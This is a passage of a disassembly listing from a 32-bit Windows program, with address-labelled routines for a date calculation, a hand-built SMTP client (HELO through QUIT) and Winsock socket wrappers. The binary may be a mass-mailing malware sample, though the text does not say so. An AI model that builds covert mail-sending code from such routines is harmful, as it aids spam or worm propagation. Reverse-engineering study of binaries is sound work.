arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 0B0h
		lea	eax, [ebp+70h+var_B0]
		push	eax
		call	ds:dword_418038
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D282
		xor	al, al
		jmp	loc_40D33C
; ---------------------------------------------------------------------------


loc_40D282:				; CODE XREF: sub_40D261+18j
		mov	eax, [ebp+70h+var_B0]
		mov	ecx, [ebp+70h+arg_0]
		imul	eax, 3Ch
		push	esi
		mov	esi, [ebp+70h+arg_4]
		push	edi
		mov	edi, [ecx]
		sub	edi, eax
		lea	eax, [ebp+70h+var_4]
		push	esi
		push	eax
		mov	[ebp+70h+var_4], edi
		call	sub_40D1A6
		xor	eax, eax
		cmp	[ebp+70h+var_16], ax
		pop	ecx
		pop	ecx
		jz	loc_40D338
		cmp	[ebp+70h+var_8], eax
		jz	loc_40D338
		mov	ecx, [esi+10h]
		mov	edx, [esi+0Ch]
		inc	ecx
		cmp	edx, eax
		push	ebx
		jle	short loc_40D2CF
		lea	eax, [edx-1]
		push	7
		xor	edx, edx
		pop	ebx
		div	ebx
		inc	eax


loc_40D2CF:				; CODE XREF: sub_40D261+61j
		movzx	edx, [ebp+70h+var_16]
		cmp	ecx, edx
		jl	short loc_40D337
		jnz	short loc_40D2F5
		movzx	edi, [ebp+70h+var_12]
		movzx	ebx, [ebp+70h+var_14]
		imul	edi, 7
		mov	edx, eax
		imul	edx, 7
		add	edx, [esi+18h]
		add	edi, ebx
		cmp	edx, edi
		jl	short loc_40D337
		mov	edi, [ebp+70h+var_4]


loc_40D2F5:				; CODE XREF: sub_40D261+76j
		movzx	edx, [ebp+70h+var_6A]
		cmp	ecx, edx
		jg	short loc_40D337
		jnz	short loc_40D316
		movzx	ecx, [ebp+70h+var_66]
		imul	eax, 7
		movzx	edx, [ebp+70h+var_68]
		imul	ecx, 7
		add	eax, [esi+18h]
		add	ecx, edx
		cmp	eax, ecx
		jg	short loc_40D337


loc_40D316:				; CODE XREF: sub_40D261+9Cj
		mov	eax, [ebp+70h+var_5C]
		sub	eax, [ebp+70h+var_8]
		push	esi
		imul	eax, 3Ch
		add	edi, eax
		lea	eax, [ebp+70h+var_4]
		push	eax
		mov	[ebp+70h+var_4], edi
		call	sub_40D1A6
		pop	ecx
		pop	ecx
		mov	dword ptr [esi+20h], 1


loc_40D337:				; CODE XREF: sub_40D261+74j
					; sub_40D261+8Fj ...
		pop	ebx


loc_40D338:				; CODE XREF: sub_40D261+48j
					; sub_40D261+51j
		pop	edi
		mov	al, 1
		pop	esi


loc_40D33C:				; CODE XREF: sub_40D261+1Cj
		add	ebp, 70h
		leave
		retn
sub_40D261	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D341	proc near		; CODE XREF: sub_4012B3+27p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		and	dword ptr [esi], 0
		lea	ecx, [esi+4]
		call	sub_40DB48
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_404191
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_40D341	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D368	proc near		; CODE XREF: sub_40D4E1+Bp
					; sub_40D55B+4Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		cmp	[ebp+arg_4], 0
		jnz	short loc_40D384
		xor	esi, esi
		jmp	short loc_40D38F
; ---------------------------------------------------------------------------


loc_40D384:				; CODE XREF: sub_40D368+16j
		push	[ebp+arg_4]
		call	sub_40CD83
		pop	ecx
		mov	esi, eax


loc_40D38F:				; CODE XREF: sub_40D368+1Aj
		push	[ebp+arg_0]
		call	sub_40CD83
		pop	ecx
		lea	eax, [eax+esi+1]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		call	sub_40DB15
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_40D3C1
		xor	esi, esi
		jmp	short loc_40D3CC
; ---------------------------------------------------------------------------


loc_40D3C1:				; CODE XREF: sub_40D368+53j
		push	[ebp+var_4]
		call	sub_40CD83
		pop	ecx
		mov	esi, eax


loc_40D3CC:				; CODE XREF: sub_40D368+57j
		mov	ecx, [edi]
		lea	edx, [ebp+var_8]
		push	edx
		push	esi
		push	[ebp+var_4]
		mov	[ebp+var_8], 3Ch
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		cmp	eax, esi
		lea	ecx, [ebp+var_4]
		setz	bl
		call	sub_40DB59
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	8
sub_40D368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3F8	proc near		; CODE XREF: sub_40D4D4+7p
					; sub_40D4E1+1Ep ...

var_100C	= byte ptr -100Ch
var_1009	= byte ptr -1009h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	3Ch
		pop	ebx
		lea	edx, [ebp+var_C]
		push	edx
		lea	esi, [ebp+var_100C]
		push	1
		mov	edx, esi
		mov	[ebp+var_1], 0
		push	edx
		jmp	short loc_40D466
; ---------------------------------------------------------------------------


loc_40D42A:				; CODE XREF: sub_40D3F8+7Bj
		cmp	byte ptr [esi],	0Ah
		jnz	short loc_40D45E
		lea	eax, [ebp+var_100C]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	byte ptr [esi],	0
		call	sub_401AA0
		cmp	[ebp+var_1009],	20h
		jz	short loc_40D475
		push	offset dword_41C228
		lea	ecx, [ebp+var_8]
		call	sub_401AA0
		lea	esi, [ebp+var_100C]
		dec	esi


loc_40D45E:				; CODE XREF: sub_40D3F8+35j
		lea	edx, [ebp+var_C]
		push	edx
		inc	esi
		push	1
		push	esi


loc_40D466:				; CODE XREF: sub_40D3F8+30j
		mov	ecx, [edi]
		mov	[ebp+var_C], ebx
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		cmp	eax, 1
		jz	short loc_40D42A


loc_40D475:				; CODE XREF: sub_40D3F8+50j
		push	offset dword_41BDD8
		push	[ebp+var_8]
		xor	esi, esi
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40D4AD
		push	3
		push	[ebp+var_8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40CD9D
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40CE59
		mov	esi, eax
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		setz	[ebp+var_1]


loc_40D4AD:				; CODE XREF: sub_40D3F8+90j
		cmp	[ebp+arg_4], 0
		jz	short loc_40D4C2
		lea	eax, [ebp+var_8]
		push	eax
		lea	ecx, [edi+4]
		mov	[edi+8], esi
		call	sub_40DC39


loc_40D4C2:				; CODE XREF: sub_40D3F8+B9j
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40D3F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4D4	proc near		; CODE XREF: sub_405675+13Cp
					; sub_40D5DD+6p
		push	1
		push	0DCh
		call	sub_40D3F8
		retn
sub_40D4D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E1	proc near		; CODE XREF: sub_40D513+10p
					; sub_40D52B+10p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_40D368
		test	al, al
		jz	short loc_40D50D
		push	[esp+4+arg_C]
		mov	ecx, esi
		push	[esp+8+arg_8]
		call	sub_40D3F8
		test	al, al
		jz	short loc_40D50D
		xor	eax, eax
		inc	eax
		jmp	short loc_40D50F
; ---------------------------------------------------------------------------


loc_40D50D:				; CODE XREF: sub_40D4E1+12j
					; sub_40D4E1+25j
		xor	eax, eax


loc_40D50F:				; CODE XREF: sub_40D4E1+2Aj
		pop	esi
		retn	10h
sub_40D4E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D513	proc near		; CODE XREF: sub_40D5DD+1Ep

arg_0		= dword	ptr  4

		push	1
		push	0FAh
		push	[esp+8+arg_0]
		push	offset aHeloS	; "HELO	%s\r\n"
		call	sub_40D4E1
		retn	4
sub_40D513	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D52B	proc near		; CODE XREF: sub_40D5DD+36p

arg_0		= dword	ptr  4

		push	1
		push	0FAh
		push	[esp+8+arg_0]
		push	offset aMailFromS ; "MAIL From:<%s>\r\n"
		call	sub_40D4E1
		retn	4
sub_40D52B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D543	proc near		; CODE XREF: sub_40D5DD+4Ep

arg_0		= dword	ptr  4

		push	1
		push	0FAh
		push	[esp+8+arg_0]
		push	offset aRcptToS	; "RCPT	TO:<%s>\r\n"
		call	sub_40D4E1
		retn	4
sub_40D543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D55B	proc near		; CODE XREF: sub_40D5DD+66p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	1
		push	162h
		push	0
		push	offset aData	; "DATA\r\n"
		mov	esi, ecx
		call	sub_40D4E1
		test	al, al
		jz	short loc_40D5C2
		push	edi
		push	[ebp+arg_0]
		call	sub_40CD83
		pop	ecx
		mov	ecx, [esi]
		lea	edx, [ebp+var_4]
		mov	edi, eax
		push	edx
		push	edi
		push	[ebp+arg_0]
		mov	[ebp+var_4], 3Ch
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		cmp	eax, edi
		pop	edi
		jnz	short loc_40D5C2
		push	0
		push	offset a_	; "\r\n.\r\n"
		mov	ecx, esi
		call	sub_40D368
		test	al, al
		jz	short loc_40D5C2
		push	1
		push	0FAh
		mov	ecx, esi
		call	sub_40D3F8
		jmp	short loc_40D5C4
; ---------------------------------------------------------------------------


loc_40D5C2:				; CODE XREF: sub_40D55B+1Cj
					; sub_40D55B+43j ...
		xor	al, al


loc_40D5C4:				; CODE XREF: sub_40D55B+65j
		pop	esi
		leave
		retn	4
sub_40D55B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5C9	proc near		; CODE XREF: sub_40D5DD+7Cp
		push	0
		push	0DDh
		push	0
		push	offset aQuit	; "QUIT\r\n"
		call	sub_40D4E1
		retn
sub_40D5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5DD	proc near		; CODE XREF: sub_402624+353p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	esi, ecx
		xor	bl, bl
		call	sub_40D4D4
		test	al, al
		jnz	short loc_40D5F5
		mov	dword ptr [esi+0Ch], 1
		jmp	short loc_40D657
; ---------------------------------------------------------------------------


loc_40D5F5:				; CODE XREF: sub_40D5DD+Dj
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D513
		test	al, al
		jnz	short loc_40D60D
		mov	dword ptr [esi+0Ch], 2
		jmp	short loc_40D657
; ---------------------------------------------------------------------------


loc_40D60D:				; CODE XREF: sub_40D5DD+25j
		push	[esp+8+arg_4]
		mov	ecx, esi
		call	sub_40D52B
		test	al, al
		jnz	short loc_40D625
		mov	dword ptr [esi+0Ch], 3
		jmp	short loc_40D657
; ---------------------------------------------------------------------------


loc_40D625:				; CODE XREF: sub_40D5DD+3Dj
		push	[esp+8+arg_8]
		mov	ecx, esi
		call	sub_40D543
		test	al, al
		jnz	short loc_40D63D
		mov	dword ptr [esi+0Ch], 4
		jmp	short loc_40D657
; ---------------------------------------------------------------------------


loc_40D63D:				; CODE XREF: sub_40D5DD+55j
		push	[esp+8+arg_C]
		mov	ecx, esi
		call	sub_40D55B
		test	al, al
		jnz	short loc_40D655
		mov	dword ptr [esi+0Ch], 5
		jmp	short loc_40D657
; ---------------------------------------------------------------------------


loc_40D655:				; CODE XREF: sub_40D5DD+6Dj
		mov	bl, 1


loc_40D657:				; CODE XREF: sub_40D5DD+16j
					; sub_40D5DD+2Ej ...
		mov	ecx, esi
		call	sub_40D5C9
		pop	esi
		mov	al, bl
		pop	ebx
		retn	10h
sub_40D5DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D665	proc near		; CODE XREF: sub_40DD92+9p
		xor	eax, eax
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		setnz	al
		retn
sub_40D665	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D66F	proc near		; CODE XREF: sub_40D737+25p
					; sub_40D767+20p ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D682
		call	ds:dword_418198
		mov	[esi+8], eax


loc_40D682:				; CODE XREF: sub_40D66F+8j
		pop	esi
		retn	4
sub_40D66F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D686	proc near		; CODE XREF: sub_408361+1Cp
					; sub_40B016+32p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [eax]
		xor	edx, edx
		test	ebx, ebx
		jbe	short loc_40D6A9
		push	esi
		push	edi
		mov	edi, [ecx+4]
		lea	esi, [eax+4]


loc_40D69B:				; CODE XREF: sub_40D686+1Fj
		cmp	[esi], edi
		jz	short loc_40D6A7
		inc	edx
		add	esi, 4
		cmp	edx, ebx
		jb	short loc_40D69B


loc_40D6A7:				; CODE XREF: sub_40D686+17j
		pop	edi
		pop	esi


loc_40D6A9:				; CODE XREF: sub_40D686+Bj
		cmp	edx, ebx
		jnz	short loc_40D6BE
		cmp	ebx, 400h
		jnb	short loc_40D6BE
		mov	ecx, [ecx+4]
		mov	[eax+edx*4+4], ecx
		inc	dword ptr [eax]


loc_40D6BE:				; CODE XREF: sub_40D686+25j
					; sub_40D686+2Dj
		pop	ebx
		retn	4
sub_40D686	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6C2	proc near		; CODE XREF: sub_408361+68p
					; sub_40B016+6Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx+4]
		call	sub_4177DC
		neg	eax
		sbb	eax, eax
		neg	eax
		retn	4
sub_40D6C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6D7	proc near		; CODE XREF: sub_408361+2Ep
					; sub_40B016+40p

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		mov	ecx, [esp+arg_0]
		cmp	eax, [ecx]
		jle	short loc_40D6E8
		mov	[ecx], eax
		mov	al, 1
		jmp	short locret_40D6EA
; ---------------------------------------------------------------------------


loc_40D6E8:				; CODE XREF: sub_40D6D7+9j
		xor	al, al

locret_40D6EA:				; CODE XREF: sub_40D6D7+Fj
		retn	4
sub_40D6D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6ED	proc near		; CODE XREF: sub_40D719+11p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_5		= byte ptr  0Dh
arg_6		= byte ptr  0Eh
arg_7		= byte ptr  0Fh

		push	ebp
		mov	ebp, esp
		movzx	eax, [ebp+arg_7]
		push	eax
		movzx	eax, [ebp+arg_6]
		push	eax
		movzx	eax, [ebp+arg_5]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_40CE18
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		pop	ebp
		retn
sub_40D6ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_416E86+29p
		push	esi
		push	edi
		push	10h
		mov	esi, ecx
		call	sub_40D0BB
		push	dword ptr [esi+4]
		mov	edi, eax
		push	edi
		call	sub_40D6ED
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D737	proc near		; CODE XREF: sub_40DD7C+7p
					; sub_40E0AC+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		mov	dword ptr [esi], offset	off_41C280
		push	2
		call	ds:dword_4181D0
		cmp	eax, 0FFFFFFFFh
		mov	[esi+4], eax
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, esi
		pop	esi
		retn	8
sub_40D737	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D767	proc near		; CODE XREF: sub_40DF53+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_418190
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_40D767	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D793	proc near		; CODE XREF: sub_40694B+62p
					; sub_40B29D+3Bp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	ds:dword_4181C8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7BB	proc near		; CODE XREF: sub_40DFF7+25p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	10h
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	ds:dword_41818C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40D7BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7E5	proc near		; CODE XREF: sub_40DA80+2Ep

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	10h
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	ds:dword_41819C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D80F	proc near		; CODE XREF: sub_40DDB5+91p
					; sub_40E0D4+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	[esp+8+arg_8]
		mov	esi, ecx
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_418188
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_40D80F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D83F	proc near		; CODE XREF: sub_40B232+47p
					; sub_415006+21p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_10]
		mov	esi, ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181D8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	14h
sub_40D83F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D876	proc near		; CODE XREF: sub_40DE7D+91p
					; sub_40E0C2+Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	[esp+8+arg_8]
		mov	esi, ecx
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181A0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_40D876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8A6	proc near		; CODE XREF: sub_40B016+A2p
					; sub_416254+39p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_10]
		mov	esi, ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_418184
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	14h
sub_40D8A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8DD	proc near		; CODE XREF: sub_40DA13+17p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	eax, eax
		push	eax
		push	eax
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		push	eax
		push	4
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181E0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_40D8DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D91B	proc near		; CODE XREF: sub_40D9FD+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		push	[esp+8+arg_C]
		mov	esi, ecx
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	10h
sub_40D91B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D94F	proc near		; CODE XREF: sub_40B29D+9Dp
					; sub_4171C1+D2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181B8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_40D94F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D97B	proc near		; CODE XREF: sub_40856C+61p
					; sub_416E86+21p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	ds:dword_4181BC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_40D97B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9A7	proc near		; CODE XREF: sub_40DA75+6j
					; sub_40DAB8+9p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		push	edi
		xor	edi, edi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D9D0
		push	eax
		call	ds:dword_4181E4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		or	dword ptr [esi+4], 0FFFFFFFFh


loc_40D9D0:				; CODE XREF: sub_40D9A7+Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40D9A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9D5	proc near		; CODE XREF: sub_40DD92+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	ds:dword_4181C0
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		setz	al
		mov	ecx, esi
		push	eax
		call	sub_40D66F
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_40D9D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9FD	proc near		; CODE XREF: sub_40BFB2+38p

arg_0		= byte ptr  4

		push	4
		lea	eax, [esp+4+arg_0]
		push	eax
		push	4
		push	0FFFFh
		call	sub_40D91B
		retn	4
sub_40D9FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA13	proc near		; CODE XREF: sub_405E95+32p
					; sub_405E95+4Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		mov	[esp+arg_0], eax
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		call	sub_40D8DD
		retn	4
sub_40DA13	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA32	proc near		; CODE XREF: sub_40C627+66p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	al, [esi]
		cmp	al, 30h
		jl	short loc_40DA5D
		cmp	al, 39h
		jg	short loc_40DA5D
		push	esi
		call	ds:dword_4181CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DA5D


loc_40DA4D:				; CODE XREF: sub_40DA32+3Dj
		cmp	[esp+4+arg_4], 0
		jz	short loc_40DA73
		push	eax
		call	ds:dword_4181B0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DA5D:				; CODE XREF: sub_40DA32+9j
					; sub_40DA32+Dj ...
		push	esi
		call	ds:dword_4181C4
		test	eax, eax
		jz	short loc_40DA71
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_40DA4D
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40DA32+34j
		xor	eax, eax


loc_40DA73:				; CODE XREF: sub_40DA32+20j
		pop	esi
		retn
sub_40DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA75	proc near		; CODE XREF: sub_40AFBA+9p
					; sub_40B41F+BBp ...
		mov	dword ptr [ecx], offset	off_41C280
		jmp	sub_40D9A7
sub_40DA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA80	proc near		; CODE XREF: sub_40694B+51p
					; sub_40B29D+1Ep ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	[ebp+var_10], 2
		call	ds:dword_4181E8
		push	[ebp+arg_4]
		mov	[ebp+var_E], ax
		call	ds:dword_4181EC
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40D7E5
		pop	esi
		leave
		retn	8
sub_40DA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAB8	proc near		; DATA XREF: .rdata:off_41C280o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C280
		call	sub_40D9A7
		test	[esp+4+arg_0], 1
		jz	short loc_40DAD4
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40DAD4:				; CODE XREF: sub_40DAB8+13j
		mov	eax, esi
		pop	esi
		retn	4
sub_40DAB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DADA	proc near		; CODE XREF: sub_402624+166p
					; sub_402FCB+17p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_40DAEE
		call	sub_40CA18
		jmp	short loc_40DAF5
; ---------------------------------------------------------------------------


loc_40DAEE:				; CODE XREF: sub_40DADA+Bj
		push	eax
		call	sub_40CA55
		pop	ecx


loc_40DAF5:				; CODE XREF: sub_40DADA+12j
		test	eax, eax
